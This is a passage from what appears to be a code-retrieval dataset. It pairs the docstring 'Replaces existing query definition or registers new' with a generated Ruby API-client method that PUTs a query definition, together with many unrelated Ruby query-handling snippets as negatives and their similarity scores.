"def base_query_for(name)\n # Load issues\n query = mr_closing_issues_table.join(issue_table).on(issue_table[:id].eq(mr_closing_issues_table[:issue_id])).\n join(issue_metrics_table).on(issue_table[:id].eq(issue_metrics_table[:issue_id])).\n where(issue_table[:project_id].eq(@project.id)).\n where(issue_table[:deleted_at].eq(nil)).\n where(issue_table[:created_at].gteq(@from))\n\n query = query.where(build_table[:ref].eq(@branch)) if name == :test && @branch\n\n # Load merge_requests\n query = query.join(mr_table, Arel::Nodes::OuterJoin).\n on(mr_table[:id].eq(mr_closing_issues_table[:merge_request_id])).\n join(mr_metrics_table).\n on(mr_table[:id].eq(mr_metrics_table[:merge_request_id]))\n\n if DEPLOYMENT_METRIC_STAGES.include?(name)\n # Limit to merge requests that have been deployed to production after `@from`\n query.where(mr_metrics_table[:first_deployed_to_production_at].gteq(@from))\n end\n\n query\n end",
"def query query_object\n\t\tcase query_object.kind\n\t\t\twhen \"random\"\n\t\t\t\tget_random query_object\n\t\t\twhen \"query\"\n\t\t\t\tget_query query_object\n\t\t\twhen \"category_kind\"\n\t\t\t\tget_category query_object\n\t\t\telse\n\t\t\t\tset_error query_object\n\t\tend\n\n\t\tquery_object\n\tend",
"def event(query_name)\n @client.call(:event, query_name)\n end",
"def create_query(project_id, opts = {})\n post \"projects/#{project_id}/queries\", opts\n end",
"def raw_query\n <<~GQL\n query ($workflowName: String, $customId: ID, $environmentName: String, $programmingLanguage: String) {\n findWorkflow(environmentName: $environmentName, programmingLanguage: $programmingLanguage, customId: $customId, name: $workflowName) {\n name\n properties\n }\n }\n GQL\n end",
"def query\n self\n end",
"def query\n self\n end"
] |
[
"0.66628575",
"0.65281355",
"0.6429702",
"0.63281083",
"0.63104486",
"0.61567765",
"0.61082846",
"0.6092768",
"0.60154104",
"0.5922006",
"0.58581585",
"0.5837307",
"0.58369493",
"0.58274347",
"0.58019215",
"0.57840526",
"0.5749111",
"0.5724895",
"0.571168",
"0.5662145",
"0.5651083",
"0.563113",
"0.56242836",
"0.5602328",
"0.56018406",
"0.55887663",
"0.5583664",
"0.5579495",
"0.5567991",
"0.55522364",
"0.5550034",
"0.55379635",
"0.5535192",
"0.55290246",
"0.5455997",
"0.54432976",
"0.5438294",
"0.54366225",
"0.5420013",
"0.5420013",
"0.5420013",
"0.5419369",
"0.54028034",
"0.5375151",
"0.536737",
"0.53601736",
"0.5341856",
"0.5341856",
"0.5341856",
"0.53320795",
"0.5326474",
"0.5321324",
"0.53111696",
"0.53038263",
"0.5290635",
"0.5290635",
"0.5290635",
"0.5290635",
"0.5290635",
"0.5290635",
"0.52900225",
"0.5283393",
"0.5272413",
"0.52626836",
"0.5249051",
"0.52352226",
"0.5234733",
"0.523257",
"0.52296793",
"0.5226287",
"0.52253383",
"0.5213268",
"0.5213098",
"0.5212967",
"0.52126986",
"0.5193782",
"0.51877946",
"0.51755303",
"0.5161636",
"0.5149709",
"0.51482093",
"0.5139016",
"0.51287603",
"0.51275176",
"0.5124015",
"0.51235336",
"0.51192254",
"0.51175135",
"0.51175135",
"0.51175135",
"0.51101",
"0.5106052",
"0.5105181",
"0.5105022",
"0.5104079",
"0.5101888",
"0.50960374",
"0.5092827",
"0.5087389",
"0.5087389"
] |
0.5921313
|
10
|
Replaces existing query definition or registers new if not exists in the system with given queryName
|
def replace_query_definition(query_name, body, opts = {})
data, _status_code, _headers = replace_query_definition_with_http_info(query_name, body, opts)
return data
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def addQueryName(theName)\n @metadata.addQueryName(theName)\n end",
"def register_percolator_query(query_name, options = {})\n server.request(:put, percolator_query_path(query_name), nil, options)\n end",
"def replace_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.replace_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.replace_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.replace_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#replace_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def query=(newquery)\n delete_elements(newquery.name)\n add(newquery)\n end",
"def alias_query(query_name, alias_name)\n @aliases ||= {}\n @aliases[alias_name] = query_name\n define_query_method(query_name, alias_name)\n end",
"def update_query(project_id, query_id, opts = {})\n put \"projects/#{project_id}/queries/#{query_id}\", opts\n end",
"def update_sql(sql, name = nil)\n super\n end",
"def execute(query, name = 'ANSR-NOSQL')\n end",
"def update(sql, name = nil)\n update_sql(sql, name)\n end",
"def add_query(query)\n add_actions \"AddQuery(#{query})\"\n end",
"def set_query\n @query_definition = QueryDefinition.find_by_search_key(params[:search_key])\n end",
"def update(sql, name = nil) end",
"def define_query_method(name, method_name = name)\n klass = @registry[name]\n\n define_method(method_name) do |bucket, options = {}|\n QueryCommand.new(klass, namespace, bucket, options).run\n end\n end",
"def update_sql(sql, name = nil)\n execute(sql, name)\n end",
"def query(query_definition)\n return\n end",
"def update_query( hash )\n \n # Convert symbols to strings to avoid duplicate entries\n hash = Hash[hash.map {|k, v| [ k.to_s, v] }] if hash.keys.any? { |k| k.is_a?(Symbol) }\n \n # Merge the changes with the existing query\n query.query_values = query.query_values.merge!( hash )\n \n self\n end",
"def expand_named_query(what)\n url = @api_url.clone\n url.path = '/buglist.cgi'\n url.query = \"cmdtype=runnamed&namedcmd=#{URI.escape(what)}&ctype=atom\"\n logger.info(\"Expanding named query: '#{what}' to #{url.request_uri}\")\n fetch_named_query_url(url, 5)\n end",
"def create_query_definition(query_name, body, opts = {})\n data, _status_code, _headers = create_query_definition_with_http_info(query_name, body, opts)\n return data\n end",
"def update_facebook_query project_id, query_id, opts={}\n put \"projects/#{project_id}/facebookqueries/#{query_id}\", opts\n end",
"def query_def; query.name; end",
"def merge!(query)\n if !query.is_a?(SQLQuery)\n query[:context] = @context.name unless query[:context]\n\n # If we're passed a string query to merge, it must start with\n # *; if it doesn't, we supply the leading *.\n #\n # If the caller really wants to merge a query with a nick\n # selector, they may use an explicit nick dereference:\n # '@person foo=bar' etc.\n unless query[:cmdline] =~ /^\\* /\n query[:cmdline] = '* ' + query[:cmdline]\n end\n query = SQLQuery.new(query)\n end\n QueryMerger.merge_into(self, query)\n end",
"def chooseQueryName\n @metadata.chooseQueryName\n end",
"def reset\n self.query = Query.new\n end",
"def add_graph(query, graph_name)\n graph_uri = \"<#{graph_name}>\"\n query.gsub(/\\?validatedGraph/i, graph_uri)\n end",
"def drop_query_definition(query_name, opts = {})\n drop_query_definition_with_http_info(query_name, opts)\n return nil\n end",
"def find_query(querys,name_q)\n # newq = querys.find{|q| ( q.find{|h| (h.subject_id)})}\n new_q=nil\n\n if !querys.empty?\n new_q=querys.find{|q| (q.query_id==name_q)}\n end\n\n return new_q\n end",
"def copy(query)\n queries << query\n end",
"def method_missing(name, *args, &block)\n super unless respond_to_missing?(name)\n _update_query(name, *args, &block)\n end",
"def execute(name)\n if !document.new_record?\n collection.find(document.atomic_selector).update(operation(name))\n document.remove_change(field)\n end\n end",
"def remove_query(query_id)\n add_actions \"removequery(#{query_id})\"\n end",
"def set_query\n\t\t@query = Query.find(params[:id])\n\tend",
"def update_query_group(project_id, query_group_id, opts = {})\n put \"projects/#{project_id}/querygroups/#{query_group_id}\", opts\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def drop_query_definition_with_http_info(query_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.drop_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.drop_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#drop_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def current_query=(query)\n @current_query = session[:advanced_query] = query\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def add_graph(query_template)\n query_template.gsub(/\\?graph/i, \"<#{@named_graph}>\")\n end",
"def define_query\n name = @name\n klass.send :define_method, \"#{name}?\" do\n send(\"#{name}_value\").present? &&\n send(\"#{name}_unit\").present?\n end\n end",
"def reload(query = nil)\n if query.kind_of?(Hash) && query.any?\n @query = Query.new(repository, model, query_to_hash(self.query).merge(query))\n elsif query.kind_of?(Query)\n @query = query\n end\n\n # XXX: when not loaded, should the behavior change?\n\n # update query fields to always include the model key\n @query.update(:fields => model.key(repository.name) | @query.fields)\n\n # FIXME: is it possible to wipe out the Collection and have it be lazy loaded on demand?\n\n # specify the Query explicitly so that Collection#all does not\n # perform a relative query\n query = Query.new(repository, model, query_to_hash(self.query).update(:reload => true))\n\n # load a collection and replace the current collection with the results\n replace(all(query))\n end",
"def query_set(name, value)\n query = uri.query ? \"&#{uri.query}&\" : ''\n parameter = Regexp.new(\"&#{Regexp.escape name}=.+?&\")\n if query =~ parameter\n new_query = value.nil? ?\n query.gsub(parameter, '&') :\n query.gsub(parameter, \"&#{name}=#{value}&\")\n else\n new_query = value.nil? ? query : \"#{query}#{name}=#{value}\"\n end\n new_query = new_query.gsub(/^&/, '').gsub(/&$/, '')\n new_query = nil if (new_query == '')\n rebuild_uri :query => new_query\n end",
"def quote_identifier_append(sql, name)\n name = (table_mappings[name.to_sym] || name) if name.respond_to?(:to_sym)\n super(sql, name)\n end",
"def user_moved_query _user, query, _old_case\n data = {\n category: 'Queries',\n action: 'Moved a Query',\n label: query.query_text,\n value: nil,\n bounce: false,\n }\n\n create_event data\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def delete_query(project_id, query_id)\n delete \"projects/#{project_id}/queries/#{query_id}\"\n end",
"def analyse_query?(name:, sql:)\n # FIXME: this seems bad. we should probably have a better way to indicate\n # the query was cached\n name != \"CACHE\" &&\n name != \"SCHEMA\" &&\n name.present? &&\n sql.downcase.include?(\"where\") &&\n IGNORED_SQL.none? { |r| sql =~ r }\n end",
"def add_query_to_table\n @query = Search.create(:search => \"#{@search}\", :count => @count.to_i)\n end",
"def add_queries\n add_general_query\n add_title_query\n add_creators_query\n add_series_query\n add_collected_query\n add_tag_name_query\n end",
"def query=(query)\n if query.nil?\n fail ArgumentError, 'invalid value for \"query\", query cannot be nil.'\n end\n @query = query\n end",
"def query=(query)\n if query.nil?\n fail ArgumentError, 'invalid value for \"query\", query cannot be nil.'\n end\n @query = query\n end",
"def add_select_into_table(new_table_name, sql_query)\n \"CREATE TABLE #{new_table_name} \" + sql_query\n end",
"def create_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.create_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#create_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def query=(value)\n @query = value\n end",
"def query=(value)\n @query = value\n end",
"def query=(value)\n @query = value\n end",
"def set_query_type\n @query_type = QueryType.find(params[:id])\n end",
"def launch_query_command(query:)\n @db.query(query, as: :hash)\n end",
"def set_sql_query\n @sql_query = SqlQuery.find(params[:id])\n end",
"def process_query(query)\n # Nothing in default\n end",
"def add_select_into_table(new_table_name, sql_query)\n \"CREATE TABLE #{new_table_name} \" + sql_query\n end",
"def make_query(query)\n puppetdb_client = Puppet.lookup(:bolt_pdb_client)\n # Bolt executor not expected when invoked from apply block\n executor = Puppet.lookup(:bolt_executor) { nil }\n executor&.report_function_call(self.class.name)\n\n puppetdb_client.make_query(query)\n end",
"def connect_query_model(name, query_model_class: r(:query_model_class), events: r(:events))\n query_models[name] =\n query_model_class.new(@query_database[name])\n\n events.each do |event_name|\n @message_bus.register(event_name, query_models[name])\n end\n end",
"def update_sql(sql, name = nil)\n result = super\n result.length == 0 ? 0 : result.rows[0][0]\n end",
"def exec_update(sql, name, binds)\n exec_query(sql, name, binds)\n end",
"def preprocess_query(query, *binds)\n mutex.synchronize do\n self.last_query = query\n end\n\n ep = Epoxy.new(query)\n ep.quote { |x| %Q{'#{binds[x].to_s.gsub(/'/, \"''\")}'} }\n end",
"def replace_variables_in_query_string\n # if @queries_as_string.empty?\n # Display.write_your_own_query\n # else\n # binding.pry\n # MOCKED DATA IF NECESSARY\n # @queries_as_string = [\"MerchantTransaction.find(10553628)\",\n # \"MerchantTransaction.find_by(reference: '1055-3628', kind: 'PLACE_BATCH')\",\n # \"MerchantTransaction.find_by(reference: '1055-3628', kind: 'PLACE_BATCH')\",\n # \"MerchantTransaction.where(parent_ref: '1055-3627', kind: 'BATCH_BET')\",\n # ]\n @queries_as_string.each_with_index do | query, index |\n mocked_query = Display.query(query)\n @mocked_queries_as_string << mocked_query ? mocked_query : query\n end\n Readline.pre_input_hook = nil\n evaluate_queries_as_lambdas\n # end\n end",
"def related(query)\n @query[:Query] << query\n self\n end",
"def initialize(query_name, opts = {})\n @query_name = query_name\n @options = opts\n end",
"def delete_sql(sql, name = nil)\n update_sql(sql, name)\n end",
"def exec_update(sql, name, binds)\n exec_query(sql, name, binds)\n end",
"def update!(**args)\n @raw_text_from_query = args[:raw_text_from_query] if args.key?(:raw_text_from_query)\n @type = args[:type] if args.key?(:type)\n @user_defined_name = args[:user_defined_name] if args.key?(:user_defined_name)\n end",
"def update!(**args)\n @raw_text_from_query = args[:raw_text_from_query] if args.key?(:raw_text_from_query)\n @type = args[:type] if args.key?(:type)\n @user_defined_name = args[:user_defined_name] if args.key?(:user_defined_name)\n end",
"def execute(query, request_token: nil, work_group: nil)\n if @database_name\n resp = @client.start_query_execution(\n query_string: query,\n query_execution_context: context,\n result_configuration: result_config,\n client_request_token: request_token,\n work_group: work_group\n )\n else\n resp = @client.start_query_execution(\n query_string: query,\n result_configuration: result_config\n )\n end\n\n return Athens::Query.new(self, resp.query_execution_id)\n end",
"def add_select_into_table(new_table_name, sql_query)\n sql_query.sub(/FROM/i, \"INTO #{new_table_name} FROM\")\n end",
"def add_select_into_table(new_table_name, sql_query)\r\n sql_query.sub(/FROM/i, \"INTO #{new_table_name} FROM\")\r\n end"
] |
[
"0.69548666",
"0.63016075",
"0.6243595",
"0.62100554",
"0.6203586",
"0.5965975",
"0.57209253",
"0.5630554",
"0.56028265",
"0.55337507",
"0.5507554",
"0.5495231",
"0.5403918",
"0.53850263",
"0.53686833",
"0.5366283",
"0.5349502",
"0.53455186",
"0.53083247",
"0.5216415",
"0.5173262",
"0.5140482",
"0.5116889",
"0.50888675",
"0.50772244",
"0.50486547",
"0.50307375",
"0.50288844",
"0.5007075",
"0.49818474",
"0.49731785",
"0.49645326",
"0.4959716",
"0.4959716",
"0.4959716",
"0.4959716",
"0.4959716",
"0.4959716",
"0.4938996",
"0.49292877",
"0.49207833",
"0.49207833",
"0.49207833",
"0.49182287",
"0.49140424",
"0.49061188",
"0.49009636",
"0.48886538",
"0.48811468",
"0.48758683",
"0.48758683",
"0.48758683",
"0.48758683",
"0.48758683",
"0.48583722",
"0.48564893",
"0.48564893",
"0.48564893",
"0.48564893",
"0.48564893",
"0.48564893",
"0.48564893",
"0.48564893",
"0.48564893",
"0.48564893",
"0.48564893",
"0.48564893",
"0.48564893",
"0.48564893",
"0.48538712",
"0.4851892",
"0.4843964",
"0.48371562",
"0.48292914",
"0.48292914",
"0.4796026",
"0.47880715",
"0.47878456",
"0.47878456",
"0.47878456",
"0.47855324",
"0.4779478",
"0.477012",
"0.4761022",
"0.4752853",
"0.4749188",
"0.4741838",
"0.47354957",
"0.47347027",
"0.4723596",
"0.4722415",
"0.4715136",
"0.47092608",
"0.47084057",
"0.4705906",
"0.46947494",
"0.46947494",
"0.4692237",
"0.46892488",
"0.46836624"
] |
0.6861961
|
1
|
Replaces existing query definition or registers new if not exists in the system with given queryName
|
def replace_query_definition_with_http_info(query_name, body, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: CustomQueriesBPMApi.replace_query_definition ..."
end
# verify the required parameter 'query_name' is set
if @api_client.config.client_side_validation && query_name.nil?
fail ArgumentError, "Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.replace_query_definition"
end
# verify the required parameter 'body' is set
if @api_client.config.client_side_validation && body.nil?
fail ArgumentError, "Missing the required parameter 'body' when calling CustomQueriesBPMApi.replace_query_definition"
end
# resource path
local_var_path = "/server/queries/definitions/{queryName}".sub('{' + 'queryName' + '}', query_name.to_s)
# query parameters
query_params = {}
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])
# form parameters
form_params = {}
# http body (model)
post_body = @api_client.object_to_http_body(body)
auth_names = []
data, status_code, headers = @api_client.call_api(:PUT, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'QueryDefinition')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: CustomQueriesBPMApi#replace_query_definition\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def addQueryName(theName)\n @metadata.addQueryName(theName)\n end",
"def replace_query_definition(query_name, body, opts = {})\n data, _status_code, _headers = replace_query_definition_with_http_info(query_name, body, opts)\n return data\n end",
"def register_percolator_query(query_name, options = {})\n server.request(:put, percolator_query_path(query_name), nil, options)\n end",
"def query=(newquery)\n delete_elements(newquery.name)\n add(newquery)\n end",
"def alias_query(query_name, alias_name)\n @aliases ||= {}\n @aliases[alias_name] = query_name\n define_query_method(query_name, alias_name)\n end",
"def update_query(project_id, query_id, opts = {})\n put \"projects/#{project_id}/queries/#{query_id}\", opts\n end",
"def update_sql(sql, name = nil)\n super\n end",
"def execute(query, name = 'ANSR-NOSQL')\n end",
"def update(sql, name = nil)\n update_sql(sql, name)\n end",
"def add_query(query)\n add_actions \"AddQuery(#{query})\"\n end",
"def set_query\n @query_definition = QueryDefinition.find_by_search_key(params[:search_key])\n end",
"def update(sql, name = nil) end",
"def define_query_method(name, method_name = name)\n klass = @registry[name]\n\n define_method(method_name) do |bucket, options = {}|\n QueryCommand.new(klass, namespace, bucket, options).run\n end\n end",
"def update_sql(sql, name = nil)\n execute(sql, name)\n end",
"def query(query_definition)\n return\n end",
"def update_query( hash )\n \n # Convert symbols to strings to avoid duplicate entries\n hash = Hash[hash.map {|k, v| [ k.to_s, v] }] if hash.keys.any? { |k| k.is_a?(Symbol) }\n \n # Merge the changes with the existing query\n query.query_values = query.query_values.merge!( hash )\n \n self\n end",
"def expand_named_query(what)\n url = @api_url.clone\n url.path = '/buglist.cgi'\n url.query = \"cmdtype=runnamed&namedcmd=#{URI.escape(what)}&ctype=atom\"\n logger.info(\"Expanding named query: '#{what}' to #{url.request_uri}\")\n fetch_named_query_url(url, 5)\n end",
"def create_query_definition(query_name, body, opts = {})\n data, _status_code, _headers = create_query_definition_with_http_info(query_name, body, opts)\n return data\n end",
"def update_facebook_query project_id, query_id, opts={}\n put \"projects/#{project_id}/facebookqueries/#{query_id}\", opts\n end",
"def query_def; query.name; end",
"def merge!(query)\n if !query.is_a?(SQLQuery)\n query[:context] = @context.name unless query[:context]\n\n # If we're passed a string query to merge, it must start with\n # *; if it doesn't, we supply the leading *.\n #\n # If the caller really wants to merge a query with a nick\n # selector, they may use an explicit nick dereference:\n # '@person foo=bar' etc.\n unless query[:cmdline] =~ /^\\* /\n query[:cmdline] = '* ' + query[:cmdline]\n end\n query = SQLQuery.new(query)\n end\n QueryMerger.merge_into(self, query)\n end",
"def chooseQueryName\n @metadata.chooseQueryName\n end",
"def reset\n self.query = Query.new\n end",
"def add_graph(query, graph_name)\n graph_uri = \"<#{graph_name}>\"\n query.gsub(/\\?validatedGraph/i, graph_uri)\n end",
"def drop_query_definition(query_name, opts = {})\n drop_query_definition_with_http_info(query_name, opts)\n return nil\n end",
"def find_query(querys,name_q)\n # newq = querys.find{|q| ( q.find{|h| (h.subject_id)})}\n new_q=nil\n\n if !querys.empty?\n new_q=querys.find{|q| (q.query_id==name_q)}\n end\n\n return new_q\n end",
"def copy(query)\n queries << query\n end",
"def method_missing(name, *args, &block)\n super unless respond_to_missing?(name)\n _update_query(name, *args, &block)\n end",
"def execute(name)\n if !document.new_record?\n collection.find(document.atomic_selector).update(operation(name))\n document.remove_change(field)\n end\n end",
"def remove_query(query_id)\n add_actions \"removequery(#{query_id})\"\n end",
"def set_query\n\t\t@query = Query.find(params[:id])\n\tend",
"def update_query_group(project_id, query_group_id, opts = {})\n put \"projects/#{project_id}/querygroups/#{query_group_id}\", opts\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def drop_query_definition_with_http_info(query_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.drop_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.drop_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#drop_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def current_query=(query)\n @current_query = session[:advanced_query] = query\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def add_graph(query_template)\n query_template.gsub(/\\?graph/i, \"<#{@named_graph}>\")\n end",
"def define_query\n name = @name\n klass.send :define_method, \"#{name}?\" do\n send(\"#{name}_value\").present? &&\n send(\"#{name}_unit\").present?\n end\n end",
"def reload(query = nil)\n if query.kind_of?(Hash) && query.any?\n @query = Query.new(repository, model, query_to_hash(self.query).merge(query))\n elsif query.kind_of?(Query)\n @query = query\n end\n\n # XXX: when not loaded, should the behavior change?\n\n # update query fields to always include the model key\n @query.update(:fields => model.key(repository.name) | @query.fields)\n\n # FIXME: is it possible to wipe out the Collection and have it be lazy loaded on demand?\n\n # specify the Query explicitly so that Collection#all does not\n # perform a relative query\n query = Query.new(repository, model, query_to_hash(self.query).update(:reload => true))\n\n # load a collection and replace the current collection with the results\n replace(all(query))\n end",
"def query_set(name, value)\n query = uri.query ? \"&#{uri.query}&\" : ''\n parameter = Regexp.new(\"&#{Regexp.escape name}=.+?&\")\n if query =~ parameter\n new_query = value.nil? ?\n query.gsub(parameter, '&') :\n query.gsub(parameter, \"&#{name}=#{value}&\")\n else\n new_query = value.nil? ? query : \"#{query}#{name}=#{value}\"\n end\n new_query = new_query.gsub(/^&/, '').gsub(/&$/, '')\n new_query = nil if (new_query == '')\n rebuild_uri :query => new_query\n end",
"def quote_identifier_append(sql, name)\n name = (table_mappings[name.to_sym] || name) if name.respond_to?(:to_sym)\n super(sql, name)\n end",
"def user_moved_query _user, query, _old_case\n data = {\n category: 'Queries',\n action: 'Moved a Query',\n label: query.query_text,\n value: nil,\n bounce: false,\n }\n\n create_event data\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def delete_query(project_id, query_id)\n delete \"projects/#{project_id}/queries/#{query_id}\"\n end",
"def analyse_query?(name:, sql:)\n # FIXME: this seems bad. we should probably have a better way to indicate\n # the query was cached\n name != \"CACHE\" &&\n name != \"SCHEMA\" &&\n name.present? &&\n sql.downcase.include?(\"where\") &&\n IGNORED_SQL.none? { |r| sql =~ r }\n end",
"def add_query_to_table\n @query = Search.create(:search => \"#{@search}\", :count => @count.to_i)\n end",
"def add_queries\n add_general_query\n add_title_query\n add_creators_query\n add_series_query\n add_collected_query\n add_tag_name_query\n end",
